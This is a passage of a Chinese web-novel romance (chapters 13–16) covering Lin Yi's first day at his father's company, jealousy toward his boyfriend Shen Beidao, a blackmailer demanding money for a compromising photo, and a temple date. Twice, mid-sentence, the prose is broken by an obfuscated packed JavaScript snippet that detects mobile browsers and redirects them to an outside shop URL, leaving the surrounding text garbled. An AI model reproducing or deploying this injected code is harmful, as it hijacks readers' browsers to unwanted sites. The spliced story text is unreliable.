他忽然想起刚才,沈北岛为他系扣子时睫毛颤动的模样,他们亲吻后的余温还在...... 那些专属的温存还清晰地印在记忆里,此刻仿佛被稀释了,变得不再那么独一无二。 HR看到他不小心划破了纸,贴心的又递过去一张表格:“你好,用这张吧,我等会有面试,马上安排另外一名人事专员给你讲体检事项哦。” “嗯,谢谢。”他当作什么都没发生,低头开始填写信息。 不知为什么,他现在看不得任何“两条腿的生物”靠近沈北岛。 一种陌生又强烈的欲望像藤蔓一样缠绕住心脏,让他呼吸发紧,舌尖榨出了淡淡的酸意。 在HR离开后几分钟,一个熟悉而讨厌的声音在门口响起:“哟,这是谁啊?这不是我们林大公子吗?” 杜小满推门而入,随手一声关上门,然后将玻璃墙的百叶窗拉了下来,彻底阻隔了林逸观察沈北岛的视线。 林逸面色一沉,起身就要走,却被杜小满侧身挡住。 “人事让我把这份补充表格给你。”杜小满将几张纸拍在桌上,“并且让我看着你填完,你最好配合我的工作。” “我如果不配合呢?”林逸嗤笑一声,“怎么,你还打算去我爸那里告状?” “你觉得自己能留在他身边是凭什么?真以为他喜欢你?” 他向前倾身,压低声音,面露讥讽,“你还不知道吧?我爸之前的床伴每个月换一次,你跟他多久了?” “果然是你!”杜小满突然激动起来,手指快要戳到林逸脸上,“是不是你往他身边塞人了?所以让他这次出差才带了别人,没带我!” “呦~我说呢,您这尊大佛怎么屈尊降贵跑到这里来,原来是被无情抛弃了呀?我看你也有几分姿色,也不至于几周就被玩腻了……看来是这张嘴太不讨喜,记得回去多刷刷牙。” 杜小满气得脸色铁青,破口大骂:“林逸你不要脸!你***……” “办公区域禁止大声喧哗!” 一个很有磁性的男声打断了杜小满失控的咆哮。 门口,一位穿着西装,年纪大概在二十五六岁的男人站在门口,神情严肃。 他先是警告地看了一眼杜小满,然后转向林逸,说道:“新入职的员工林逸是吧?跟我来一趟办公室。” 林逸认出来,这就是谢醇跟他提过的公司总负责人——虞枫,他未来的直属上级。 他跟在虞枫身后走出玻璃房,经过会客区时,发现那个前台女生居然还站在他旁边,简直在隔空挑战他的忍耐极限。 “虞总监好。” “虞总监好。” 沿途有员工恭敬地向虞枫打招呼。 “嗯。”虞枫微微颔首,对路过的一位员工吩咐道,“通知财务部,原定会议推迟半小时。” “好的,虞总监。” 林逸憋着一口气,跟在虞枫身后。 他这才注意到,这位虞总监不仅面容英俊,身材更是极佳。 身高腿长,脖颈修长白皙,连后脑勺的线条都比常人要饱满优越。 单从背影看,就是个无可挑剔的大帅哥。 虞枫推开位于走廊中段的一间独立办公室的门。 林逸跟进去,下一秒,却被眼前的景象惊得愣住了! 这间宽敞明亮,装修现代的办公室里,光滑的地板上,竟然密密麻麻摆满了西瓜?! 没错,就是那种绿皮黑纹的大西瓜!而且数量惊人! 一个穿着灰色工装的男人正蹲在地上,拿着马克笔,在一个个西瓜上写着编号。 林逸瞥见离他最近的一个西瓜上,刚写上的红色编号是【298】 林逸内心充满了巨大的问号:谢醇的这家公司,不是做高端进出口贸易的吗?难道现在业务拓展到生鲜农产品了? 可是……只卖西瓜是不是太单一了?应该葡萄、桃子、草莓、香蕉都来点儿吧? 林逸还在思考这件事的合理性,却看到有的西瓜上写着明晃晃的几个大俗大雅的文字—— 「操」 「 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16804010|190733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去你妈的」 「祝你没.屁.眼」 「你才是鸭子」 …… 这些粗.俗又直白的汉字与虞枫这间精英范儿的办公室形成了极其荒诞的对比。 然而,虞枫对此似乎毫不在意,他甚至饶有兴致地走到那个蹲着的男人身边,目光专注地看着对方在西瓜上奋笔疾书的侧影。 “货送到了,你先出去等我吧,”虞枫的声音听起来比刚才温和了许多,“等会儿我结账给你。” 那个穿着工装的男人闻声站起身,目光不善地看向林逸,带着明显的警惕。 当他完全转过身时,林逸不由得暗暗惊讶,这男人长得太有辨识度了。 男人是极为立体的混血面庞,鼻梁高挺,眉眼深邃,眉毛浓密。 只是他的肤色似乎被晒得有些深,挽起袖子的手臂明显比脸和脖子白了好几个层次。 “虞精英,你最好快一点。”混血男人语气硬邦邦的,“我着急送下一趟货。” “没问题。”虞枫好脾气地应着,甚至带着点莫名其妙的讨好,“小周啊,前台有茶水和零食,饿了可以先吃点。” 男人没再回话,裹挟着说不清道不明的怨气,推门离开了办公室。 虞枫目送他离开,嘴角似乎还噙着一丝若有若无的笑意,这才转向林逸,伸出手:“坐吧,林逸同学。” “好的,虞总监。”林逸收敛心神,与他握手后坐下。 “嗯,谢总托我多关照你。” 虞枫的语气与刚才不同,他恢复了一贯的干练,“明天正式上班,你先去市场部,这个部门统一归我管理,到时候我会交代你一些具体工作。” “如果在试用期期间表现良好,我会向谢总申请,让你提前转正……” 虞枫与林逸谈了大约十分钟,简要介绍了公司的核心业务与发展方向,着重讲述了谢醇当年创立公司的奋斗史。 虽然林逸对听他父亲的“光辉岁月”并不感兴趣,但出于职场新人的基本素养,他还是面带微笑,认真地听完了。 然而,听着听着,他心中某些尘封的关于童年的模糊记忆,似乎被触动了。 他好像有点明白,为什么小学有那么两三年的时间,他很少见到谢醇。 那时,他的父母尚未离婚,表面上还维持着家庭的完整,谢醇偶尔回家,也总是匆匆忙忙。 原来那个时候,正是他母亲和谢醇在美国共同创业最艰难的时期。 母亲还会一个月抽空回来几天陪他,而谢醇,几乎将全部时间和精力都投入了工作。 谈话结束后,林逸快步走出虞枫的办公室,第一时间急切地望向会客区,可那里空空如也,而前台的小姐姐也不见了踪影。 一股莫名的失落和更深的酸意涌上心头,他几乎是小跑着冲向电梯,直达一楼大厅。 正当他准备拨号时,却看见沈北岛独自一人,从不远处的便利店走出来,手里拿着两瓶他常喝的果汁。 “你去哪里了?”林逸迎上去,语气里带着自己都没察觉到的急切和一丝委屈。 沈北岛将一瓶果汁递给他,眼神温柔:“担心你口渴,去买了点喝的。” 林逸接过饮料,却没有立刻打开,而是像只警觉的小狗一样,凑到沈北岛身前,嗅了嗅他身上的气味。 ……还好,没有女人的香水味。 林逸心里稍稍松了口气。 “怎么了?”沈北岛似是憋着笑,明知故问。 “嗯?”他立刻皱起了眉头,抬头盯着沈北岛,“你身上为什么会有烟味?你明明不抽烟的。” 难道他下去买个饮料的功夫,没有被女人搭讪,反倒被男人盯上了? “有吗?”沈北岛抬起手臂,自己闻了闻袖口,“我闻不出来。” 林逸警觉,质疑道:“为什么?我在你脸上看到了心虚。” 14. 第 14 章 沈北岛拧开果汁瓶盖,递到林逸手中:“嗯,被你猜中了。” 他微微俯身,凑近林逸耳边,“刚才,看到你跟那位精英男士单独进去那么久,我有点失落。” “……我那是正常的入职流程。” 林逸被他这突如其来的“指控”弄得有点不知道怎么解释,刚才心里那点翻腾的醋劲被冲散了不少,原本想好的质问都不知该从哪一句说起。 “普通员工入职,需要总监级别亲自接待,还单独谈话这么久吗?”沈北岛挑眉,语气里带着点探究,“听上去,他很重视你的样子。” 林逸不好意思直接说这公司就是他爸的产业,刚在沈北岛面前表现出靠能力进的这家公司,现在戳破关系户的身份,面子往哪里搁。 他支吾了一下,想到刚才那一幕,说道:“我还看到你跟那个前台小姐姐聊得那么投入呢!你们聊什么了?”他语气理直气壮的。 沈北岛眼底笑意加深,不答反问:“你这是在吃醋吗?” “才不是。”林逸下意识别过脸,耳根有点红润,但转念一想,自己才是名正言顺的“正宫”,又带着点小霸道宣布:“我就是吃醋了,怎么样?你是我男朋友,我不在跟别人暧昧,我不能吃醋吗?” “嗯,知道了。” “你……还知道了?!”林逸有点炸毛。 沈北岛看着他这副嘴硬又可爱的模样,心软得一塌糊涂,笑着将人轻轻搂进怀里,同时将自己的手机递到他面前,屏幕解锁:“你随便看。” 林逸也不客气,接过手机就点开了微信。 找到最前面的聊天记录,只有短短两条: 【同学,我们公司在招直播带货主播哦!看你形象气质很好,有兴趣可以投这个简历试试~】 【简历链接.boss直聘】 沈北岛的回复简洁明了【ok,谢谢】 “直播主播?你吗?”林逸抬头,有些难以置信地看向沈北岛。 “嗯。”沈北岛一本正经地解释,“你们公司的HR说我形象不错,可以试试,我想这也是机会,总不能直接拒绝。” 他说着,一副思考的样子,仿佛真的在认真考虑这个职业的发展。 “直播吗……” 林逸若有所思地挠了挠头。 他脑海里瞬间闪过论坛上看过的那些八卦:很多颜值高的男主播,很容易被什么“榜一大哥”、“榜二富婆”看上,然后…… 不行! 如果沈北岛真要直播,那我…… 我一定要成为那个最强的“榜一大哥”! 幸好平时攒了些零花钱,还有谢醇给的生活费。 沈北岛看着他的小兔子眼神变幻莫测,一会儿皱眉,一会儿又暗自握拳,完全不知道对方已经为他的直播事业规划好了“守护之路”。 沈北岛:“怎么?你不喜欢我做这个?那我等会儿拒绝了。” “没有,没有不喜欢!”林逸连忙摆手,“都是机会,先别急着拒绝,万一以后有需要呢……” 他一着急,手指不小心滑出了聊天界面,瞥见沈北岛的微信列表里,密密麻麻好多群消息,不少都带着@他的红色标识。 “你平时这么忙吗?”林逸出于礼貌,没有点进去细看。 沈北岛目光扫过手机屏幕。 坏了,都是学生@我的消息,这群孩子多大的事都要问老师,看来得退几个群了…… 但沈北岛脸上依旧风轻云淡:“我在学生会任职,有些活动是我负责组织的,所以有时候消息会比较多。” “哦,这样啊。”林逸把手机递还回去,“那你赶紧回复一下,别耽误正事。” “嗯。”沈北岛接过手机,表面平静,实际上手心已经沁出一层薄汗,“先不急,等下午开会当面跟他们说也来得及。” “那你等会儿有空吗?”林逸想起来正事,“我接下来要去指定的体检中心。” “我开车送你。”沈北岛回答的迅速,“晚一点也没关系,会议大概五六点才开始。” “好,那我就不客气咯!”林逸笑起来,眼睛弯弯的,“谢谢你了,男朋友。” …… 两人约好在原来的校门口等。 沈北岛以“校外人员不能进入”为由,独自去取车。 成功避免了在林逸面前,使用员工卡进入地下车库,和使用教职工专属车位的尴尬。 体检中心距离江州大学不远,大约十公里车程。 相处几天后,林逸在沈北岛面前放松了不少,他舒舒服服地窝在副驾驶,吃着沈北岛刚才给他买的小零食,腮帮子一鼓一鼓的。 吃着吃着,林逸忽然想起什么,含糊不清地说:“对了,我上次手机不是丢了嘛,之前那个游戏账号登不上去了,把你的账号借我玩玩呗?” 沈北岛握着方向盘的手指收紧了一下,挑眉问道:“你说的是「马可波波茶」那个账号?” “嗯呢!”林逸笑着说,“我当时就是觉得你声音特别好听,像个小奶狗,才答应跟你见面的!没想到你……” 他故意拉长语调,上下打量着沈北岛,“是一只成熟稳重,还坚持健身的……” 他欣赏着沈北岛发达的胸肌,思考该用什么形容词…… “哎,我知道了,你很像那种很帅很不爱理人的杜宾犬!哈哈哈……像不像?” 沈北岛点头:“有点。” “你脾气这么好,说你是dog都不生气。”林逸往他嘴里塞了片薯片,“我逗你玩呢,看你平时太严肃,想让你多笑笑。” 沈北岛咬下那片薯片,看向林逸:“那你会不会觉得我有些无趣。” “当然不会,我喜欢话少的。”林逸靠近了他一点,侧头,“我有个朋友话特多,哪天介绍你们认识……” “嗯,好。” 沈北岛的脑海里不由自主地浮现出一只活泼好动的小兔子,欢快地扑腾到一只高大威猛的杜宾犬身上贴贴的画面,唇角微微勾起。 没想到,他们连思考自己像什么动物的逻辑都很相似,简直是天生一对。 沈北岛:“对了,玩那个游戏的手机,不小心掉水里,打不开了。”沈北岛语气带着点的遗憾,“所以那个账号,我也很久没登录了。” “这样啊……”林逸有点小失望,“没关系,我等会儿重新注册一个账号,再加你好友!” 林逸说着,掏出自己的手机,点开了游戏图标,“你是用微信登录的吗?” 沈北岛用余光瞥向他的手机屏幕,却发现林逸不知道什么时候贴了防窥膜,根本看不清内容。 “嗯。”沈北岛应道。 “可是搜不到你啊……”林逸捣鼓了一会儿,疑惑地抬头。 “马上快到体检中心了,”沈北岛指了指前方的路牌,“你先去体检,等你结束了再加,好吗?” “行。”林逸收起手机,小声抱怨,“可惜我原来那个账号充了好多钱呢!上次尝试联系客服找回,人家说必须要原手机号验证,我真想说一句:王X荣耀,退钱!” 沈北岛:……原来是这个游戏。 他将林逸送到体检中心后,趁着林逸去排队检查的功夫,沈北岛坐在等候区,拿出手机,点开了某个游戏的入门教学视频,神情专注得像是在研读学术论文…… 看了一会儿,手机弹出了杜小满的消息,是一串银行卡号…… 在林逸跟着虞枫走进办公室后,沈北岛并未在会客区久留。 他起身,走向消防通道的楼梯间。 在拐角的窗户边,看到了正在那里吞云吐雾的杜小满。 沈北岛走过去,开门见山:“我们谈谈。” 杜小满叼着烟,斜睨了他一眼,语气不善:“你谁啊?我认识你吗?” 沈北岛直接拿出手机,调出那张在地下车库角度错位,看似亲吻的照片,屏幕转向杜小满:“这是你拍的吧?我是照片里的当事人。” 杜小满看清照片后,眼神闪烁了几下。 两人随即来到了公司楼下的一家僻静咖啡馆。 落座后,沈北岛看了眼腕表,言简意赅:“我们只有五分钟交流时间,长话短说,这张照片,我买断 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沈北岛:“我给你一百万,明天这个时间之前,会打到你的账户,我希望你能信守承诺,永远不要让林逸知道这件事,以及我们今天的谈话。” 他顿了顿,语气更加严肃:“你把他和我在一起的照片发给他母亲的事,我已经知道了,他母亲找过我,希望我和林逸分开。” “但我已经明确告诉她,我的态度不会改变,我只想和林逸在一起,不希望任何人,以任何方式,来破坏我们的关系。” 他看着杜小满微微变化的神色,继续冷静分析:“成年人之间,讲究的是各取所需。你之所以留在谢醇身边,图的也不是什么虚无缥缈的爱情吧?我这么做也是帮你达到了目的,拿了钱我想你应该知道怎么做。” 杜小满被他说中心事,他沉思片刻,最终扯出一个有些复杂的笑,带着点自嘲:“你们这些有钱人,还真是有意思,为了一张模棱两可的照片,就愿意白送一百万。” …… 沈北岛看着杜小满发来的银行卡号,回复: 沈北岛【我需要确认这笔钱是请你删除所有关于我和林逸的照片,并保证不再传播】 杜小满【你就当花钱消灾,我把照片删干净,以后不找你们麻烦】 看到「花钱消灾」四个字,沈北岛勾了勾唇。 沈北岛【请确认两个细节:除了发给林逸母亲的那张,是否还有其他备份?收到钱后是否会立即销毁所有资料?】 杜小满【你这是在审问我吗?就一张照片,你爱买不买,不过我可提醒你,要是今天之内见不到钱,这张照片马上就会出现在江州大学和国立美术学院的论坛上】 杜小满【你以为我没有准备吗?我已经找人查过了,你是江州大学的老师,怪不得你那么想要删掉照片,同性恋对你影响不小吧,这上面可是有你的车牌号,我随时可以去江州大学举报你】 沈北岛看着这条威胁信息,故意等了一会儿才回复: 【明天下午五点前到账,请遵守承诺】 【算你识相!不过,我要求今天五点前必须到账!一分也不能少,否则后果自负】 沈北岛收起手机,这段对话已经完整记录了杜小满以传播照片为威胁,索要钱财的证据。 …… 林逸抽完血,按着胳膊上的棉签,慢吞吞地走出来,一副虚弱又可怜的样子。 看到等在门口的沈北岛,他立刻像找到了依靠,快走两步,将额头轻轻抵在沈北岛的胸膛上,声音带着点委屈的鼻音:“抽了好多血……还有点疼呢!” 沈北岛看着他这副撒娇的模样,心底一片柔软,他无奈又宠溺地笑了笑,低声问:“那我背你走?” “这多不好意思,这么多人看着呢。”林逸推了推他,说着说着自己先绷不住笑了,把袖子撸下来,小声嘟囔,“其实就是想让你心疼心疼我,不知道有没有达到目的。” 沈北岛拉着他的手,十指紧扣,将人搂进了怀里,贴在胸膛上,隔着衬衫传来急促有力的震动,“你听听看。” 15. 第 15 章 微信消息【人呢】 微信消息【你就不怕我现在就去举报你,现在就给你发网上吗】 微信消息【说话说话!!!】 …… 沈北岛目光冷淡地扫过杜小满接连发来的威胁信息,打字回复: 【我说过了,明天转给你,我需要时间筹钱】 对方立刻回复【少废话,你不是富二代吗?给你爸妈要钱!】 就在这时,屏幕顶端弹出一条新消息提示——来自【小兔子】 沈北岛毫不犹豫地划出与杜小满的对话页面,仿佛刚才的烦扰从未存在,指尖轻触点进那个让他内心瞬间柔软的联系人。 小兔子【明天周六,有时间吗?】 沈北岛唇角不自觉地微微上扬,连他自己都未察觉这个笑容有多温柔:【嗯,明天没课】 小兔子【那我们明天去约会?我们都好了这么久了,还没有正式约会过呢(委屈巴巴.jpg)】 看着那个可爱的小表情,沈北岛仿佛能想象出林逸在手机那头撅着嘴的小模样,他回复【好,你想去哪里?】 小兔子很快发来一个小程序链接【小程序|江州灵鹫峰景区预约】 小兔子【我们去这里吧?感不感兴趣?】 沈北岛对江州的景点并不熟悉,他来这里了三年,生活几乎可以用“平淡如水”来形容。 生活轨迹更是简单得如同一条直线——从教室到办公室,从图书馆到公寓。 这些热闹的景区从未出现在他的日程表上。 沈北岛【好,很感兴趣】 他放下手机,开始认真地在表情包库里挑选,想要找一个既能表达期待又不失稳重的表情。 是用法式贴面吻的卡通图案,还是用一只杜宾犬蹭蹭头的可爱动图?还是微信的默认的微笑表情…… 这位在讲台上从容不迫的沈教授,此刻却为一个小小的表情包犯了难。 正当他犹豫不决时,林逸又发来了新消息: 小兔子【小程序|江州云林禅寺预约】 小兔子【景区最近免费,我不知道你的身份证号,需要提前预约,不然进不去哦~】 沈北岛点开小程序,看到「云林禅寺」四个字,略微疑惑地低语:“寺庙吗?” 随即又释然,无论去哪里,只要是和林逸一起,就好。 他回复了自己的身份证号码【身份证号:33010019950630xxxx】 接着,又快速补上一句【可以帮我预约吗?谢谢老婆(可爱表情)】 手机那头的林逸看到这条消息,忍不住笑出声来:“哟,这么信任我,连身份证都直接发来了?看来论坛上说的没错……” 他一边嘀咕,一边熟练地帮沈北岛预约。 林逸【好,那明天7点见】 林逸【应该是谢谢老公才对~~(得意小兔子扭屁股.jpg)】 …… 周六的清晨,阳光透过薄雾,为灵鹫峰披上一层金色的纱衣。 不出林逸的预料,前往景区的人流络绎不绝,车辆排起了长龙。 幸好今日实行单双号限行,沈北岛的奔驰SUV是双号车牌,得以在拥堵中缓慢前行,最终抵达了山上的停车场。 因为前一晚林逸特意提到要爬山,两人心有灵犀地都选择了运动装。 林逸穿着一身颇具设计感的深紫色运动服,上衣胸前装饰着四道不对称的银色拉链,在阳光下折射出斑点光晕。 运动服里搭配白衬衫,简约的链条款项链搭在胸前,配上同色系的紫色棒球棒,显得青春又阳光。 运动裤的侧边同样点缀着几条功能性拉链,极具设计感又十分的实用。 脚上一双限量版白色运动鞋,完美诠释了艺术学院学生的独特范儿。 相比之下,沈北岛的穿搭简约许多,他身着纯黑色运动服,面料质地细腻,呈现哑光质感。唯一亮色是左胸位置一个小小的白色对勾logo,含蓄不张扬。 运动裤完美地勾勒出他修长结实的腿部线条,脚上穿着专业的黑色登山鞋,整个人散发着沉稳内敛的气质,与他平日里的形象如出一辙。 林逸把他的棒球帽摘下,扣在沈北岛的头上,欣赏道:“嗯,暗色中加一点亮色的搭配,显得有活力多啦!” “这样,可以吗?”沈北岛对这顶紫色的帽子接受程度不是很高。 “相信我,超适合你!”林逸得意地扬起下巴,“我可是专业的艺术生,审美杠杠好!” 沈北岛看着他得意的小模样,只用一秒就接收了这个扎眼的紫色棒球帽。 林逸喜欢的,亲手戴上的,是有他的气息的,这些原因,足够沈北岛喜欢。 两人从车上各拿了一瓶矿泉水,林逸原地轻松地蹦跳了两下,舒展着因久坐而有些僵硬的四肢:“堵车还挺累的呢!感觉比爬山还耗体力。” 沈北岛没有立即回应,而是转身从后备箱取出一个便携小包,从里面拿出一瓶小巧的花露水。 “这里树木茂密,蚊虫多。”他的目光落在林逸因运动服设计而微微敞开的领口,那片白皙的脖颈在阳光下格外诱人,“喷点花露水防蚊虫。” 林逸没想到他如此细心周到,心里一暖,顺从地向前倾身,将修长的脖颈凑到沈北岛面前,语气带着撒娇的口吻:“你替我涂点嘛?” “好,别动。”沈北岛轻轻按压喷头,细密的水雾均匀地洒在林逸的脖颈上。 “啊~好凉啊~”林逸故意拖长尾音,声音带着几分矫揉造作的甜腻,眼睛却狡黠地偷瞄沈北岛的反应。 沈北岛无奈又宠溺地摇摇头,将花露水瓶盖好放回包中,然后伸出骨节分明的手,轻柔地覆上林逸的脖颈。 他的指尖微凉,动作却异常温柔,仔细地将花露水涂抹均匀,指腹不经意间擦过对方温热的皮肤,两人都能感受到那股细微的电流在彼此之间窜动。 “好了。”沈北岛的声音比平时低沉了几分,收回手时,指尖还残留着对方肌肤的温热触感。 林逸满意地直起身,耳根却比脸颊先红了,他强装镇定:“那……我们快进去吧,等会儿游客太多,还要排队。” “好。”沈北岛主动牵上林逸的手,“走吧。” 林逸有点别扭,毕竟两个大男人手牵手,怪尴尬的,但是沈北岛一点儿也不觉得有什么不妥,目视前方,无视路人的目光,更是不肯松手。 林逸:……好像,两个男人拉手也没什么大不了的。 两人跟随人流排队进入景区。 扫描预约码通过闸机后,前行约一百米,迎面便是一片古朴庄严的石佛像群。 这些佛像雕刻于不同年代,历经风雨侵蚀,表面已有些许风化,但依然能看出精湛的工艺和慈悲的神态。 它们错落有致地排列在岩壁上,有的双手合十,有的垂目沉思,每一尊都散发着宁静祥和的气息…… 沈北岛驻足,正想仔细观赏这些承载着千年文化的艺术珍品,恰好一位导游正在为团队讲解:“这些石佛像最早可追溯至东晋咸和元年,是灵鹫峰佛教文化的重要见证……” 然而林逸却一把拉住他的手腕:“这些佛像出来再看,我们先去干正事!”语气中带着迫不及待的兴奋。 沈北岛还未来得及回应,就被林逸拉着穿过人群,径直走向云林禅寺的方向。 在禅寺入口的检票闸机前,当沈北岛的预约码被扫描时,机器响起一声庄重的提示音:——「阿弥陀佛」 这突如其来的声音让沈北岛微微一怔:这是来……感受佛教文化吗? 林逸想着论坛里的建议:「喜欢他就带他去祈福呗,保佑你们一生一世一双人,不过也有风险,据说不是正缘的出来就会分手……」 进入寺内,一位身着志愿者服装的居士微笑着递给他们每人三炷细长的香。 香雾袅袅,空气中弥漫着淡淡的檀香味。 “我教你上香的正确流程。” 林逸一副熟门熟路的样子,将香夹在左手的食指与中指之间,然后示意沈北岛照做,“用右手拇指尖端,轻轻抵住香的尾部,香头朝上,表示尊敬的意思……” 他一步一步耐心地指导着沈北岛,神情难得的认真:“举香时要与眉齐高……然后先插中间一支,表示供养十方三世一切佛,再插右边一支,供养十方三世一切法,最后插左边一支,供养十方三世一切僧……” 沈北岛作为在德国长大的华裔,从未接触过这些传统礼仪,他学得很认真,尽管他似乎没有什么尚未完成心愿,需要特意请示佛祖…… 但是林逸喜欢,他便陪着,这也算心愿。 礼成,两人并肩而立,对着大殿方向虔诚地三鞠躬。 沈北岛老向身旁闭眼许愿的林逸,控制不住的心动…… 林逸睁眼,撞上沈北岛温柔的目光,嗔怪道:“你看着我笑什么,快许愿呐!” 沈北岛这才后知后觉,三炷香举过头顶:尊敬的佛祖您好,我没什么心愿,只希望我旁边的……男朋友能够心想事成,快乐永驻。 …… 完成这套仪式后,沈北岛久久不能平静。他并非佛教徒,但在那肃穆的氛围中,感受着千年古刹的宁静与庄严,内心竟也获得了一种难得的平和。 “你喜欢做这个吗?”走出香炉区后,沈北岛忍不住问道。 “我是本地人嘛,家里离这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16804012|190733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里不远,办了公园年卡,高中时学习压力大的时候就常来逛逛。” “抽空来上香吗?”沈北岛有些不解,其实他大概能猜到,经常来寄托愿望之地,多半是什么事心有余而力不足。 “也不全是。”林逸笑着解释,“其实我也是科学的唯物主义好吗?只不过——” 他顿了顿,“崇尚科学,但也尊重佛祖996上班不是?所以上香的时候心要诚。” 林逸一边说着,一边从沈北岛手中拿过刚请来的十八籽手串,将其在香炉上方顺时针绕了三圈,让手串沐浴在袅袅香烟中。 沈北岛还第一次见有人嘴里说着“崇尚科学”,一边做着并不代表科学的事。 沈北岛忍俊不禁:“嗯,很有道理。” 熏好手串后,林逸细心地将它重新戴回沈北岛的手腕上:“这可是开过光的,保平安。” “嗯,我也给你……” 沈北岛的话还没说完,林逸自己给自己戴上了另外一个手串,整个过程娴熟的像是喝水一样简单,自然,完全不给他接触的机会。 沈北岛心底闷笑:嗯……怪我反应太慢了。 按照林逸的规划,接下来他们要爬一座山,山顶上可以俯瞰整座城市的景色。 两人沿着青石板铺就的山路缓缓向上攀登,越往高处,游客不仅没有减少,反而越来越多,很多人从山上下来,还热情的提醒正在爬山的游客:“坚持坚持,马上就到了。” 周围的游客最常说的一句话:“来都来了,肯定要到山顶!” 周围的林木越发苍翠,偶尔传来几声清脆的鸟鸣…… “你为什么学画画?”沈北岛找话题聊道。 “害!这不是好考大学么?”林逸的回答出人意料地直白,“你以为我会说是因为热爱?其实并不是。” 他踢开路上的一颗小石子,语气轻松,“谁家真正热爱画画会选择设计专业呢,对叭?” “嗯。”沈北岛轻声应道,心里却明白这应该不是真话,如果不喜欢画画,又怎么会选择全国顶尖的艺术学院? 若真只为了一纸文凭,那些综合性大学的211、985院校岂不是更好的选择? 他知道林逸没有完全说实话,或许他们的关系还没有熟到可以袒露心扉,沈北岛自我安慰不该着急,但是他却感觉心里很不是滋味。 沈北岛:“我听说你们艺考前还需要集训,许多人在一起专门学习一段时间。” “呦呵,你知道的还挺多嘛。”林逸有些意外地看了他一眼。 “那段时间会不会很累?” “住校挺好的,不用回家。”林逸的回答轻快,却在不经意间流露出一丝复杂情绪。 他停顿了一下,解释道:“我爸妈太爱管我了,所以我觉得住在外面挺自在的。而且,我也没觉得累,充实起来反而什么都不会想了。” 没等沈北岛回应,他自顾自地说下去:“再说了,谁不累呢?卖早餐的阿姨要三点钟起来不然我就没早饭吃,学生还要上早八,上班了还要打卡,辛苦是常态,我从不矫情,不过呢,我也不内耗……所以,我在上进、上学、上班之间,选择了上香。” 沈北岛被他这看似无厘头却又通透的理论逗笑了,“这么说来,下次应该多来,可以提高幸福指数。” “那是,上香多方便,完全不用内耗,直接把愿望交出去,主打一个外耗神灵,心诚则灵。” “哈哈……” “歇会吧,前面有个小亭子,喝点水。” 沈北岛注意到林逸额角渗出的细密汗珠,有些心疼的说。 “你体力行不行啊?”林逸却调皮地反过来调侃他,“还天天健身呢,这么快就累了?” “我……”沈北岛刚要解释,手机突然响起。 他拿出手机,看到来电显示时,眉头微微蹙了一下。 林逸好奇地凑近看:“谁呀,周六还找你?” 他的目光敏锐地捕捉到了手机屏幕上的号码尾数:7890。 “是学生会的同学,没关系,我等会回给他。” 沈北岛迅速按掉电话,将手机调成静音模式。 林逸却若有所思地皱起眉头:7890的尾号,怎么这么耳熟呢?我记得李锐是不是就这个手机尾号来着? 之前一起打车的时候他经常说这四个数字,不过,李锐说他不认识沈北岛,应该是巧合吧?…… 沈北岛自然地揽过林逸的肩膀,指向山顶高处的亭子,“走吧,既然你不累,那我们比比体力,怎么样。” 林逸这么一听,来自大猛一的征服欲瞬间上头,立马掉头开始往山顶跑,边跑边回头宣战:“那你必输无疑喽!” 16. 第 16 章 他们在景区周边玩了一整天,接近天黑时,黑色的SUV停在了一栋高级公寓楼下。 沈北岛侧过头,看向副驾驶座上正准备下车的林逸。 “那我……上楼了?”林逸的声音带着点缠绻,尾音微微上扬,不知在故意勾引谁。 他解安全带的动作有些慢,仿佛那卡扣异常的复杂。 沈北岛“嗯”了一声,看着林逸磨磨蹭蹭的下了车,他才解开自己的安全带,下车。 从后座拎出一个鼓鼓囊囊的购物袋,里面是刚才在进口超市里,林逸塞进去的各种零食。 他把袋子递过去,目光落在林逸那张过分好看的脸上,叮嘱道,“晚上少吃点零食,不容易消化。” 林逸:“我现在还在长身体呢,消化的可快了!” 他靠近了一步,伸出食指,隔着一层薄薄的衬衫布料,戳了戳沈北岛的胸膛,那里触感温热而坚实,“你明明跟我差不多大,哪来这么多养生歪理,跟爸爸似的。” 沈北岛闻言,明显地愣了一下,“……我很显老吗?” 林逸凑近了些,几乎要贴上沈北岛的脸,清澈的眸子认真地在他脸上逡巡:“哎呀,你这么一说,我好像真发现,你眼尾这里,有那么几条细纹哎?” 沈北岛皱眉,沉默了两秒,随即面不改色,用一种陈述科学事实的平静口吻说:“是吗?可能最近甜食吃多了,糖化反应,所以才长出来了几条。” “噗……哈哈……”林逸没忍住,笑的叉腰,“沈北岛,你……这种理由也编得出来,逗小孩呢……” “小朋友才喜欢吃零食。” “少来……有嘴就爱吃。”林逸笑的扶着腰,眼角还挂着刚刚笑出的泪,他看着沈北岛有些冷淡的眸色。 这才贴近了沈北岛的耳朵,气息温热的小声说:“我逗你呢!你看上去白白嫩嫩的,皮肤很紧致,就算真的有皱纹,那也是……嗯,别有风味。” 好闻的气息在沈北岛的周身萦绕,他几乎是本能地想伸手将这只笑的“狡黠小兔子”揽入怀…… “那你要尝尝我的味道吗?”沈北岛俯身,凑近…… “不要!”林逸却像早已预判到他的动作,突然站直身体,手臂立马伸出抵在沈北岛的胸膛上,阻隔了两人之间过于暧昧的距离。 随即,沈北岛看到了旁边,一位牵着孩子的阿姨慢悠悠地走过,好奇地朝他们这边瞥了一眼。 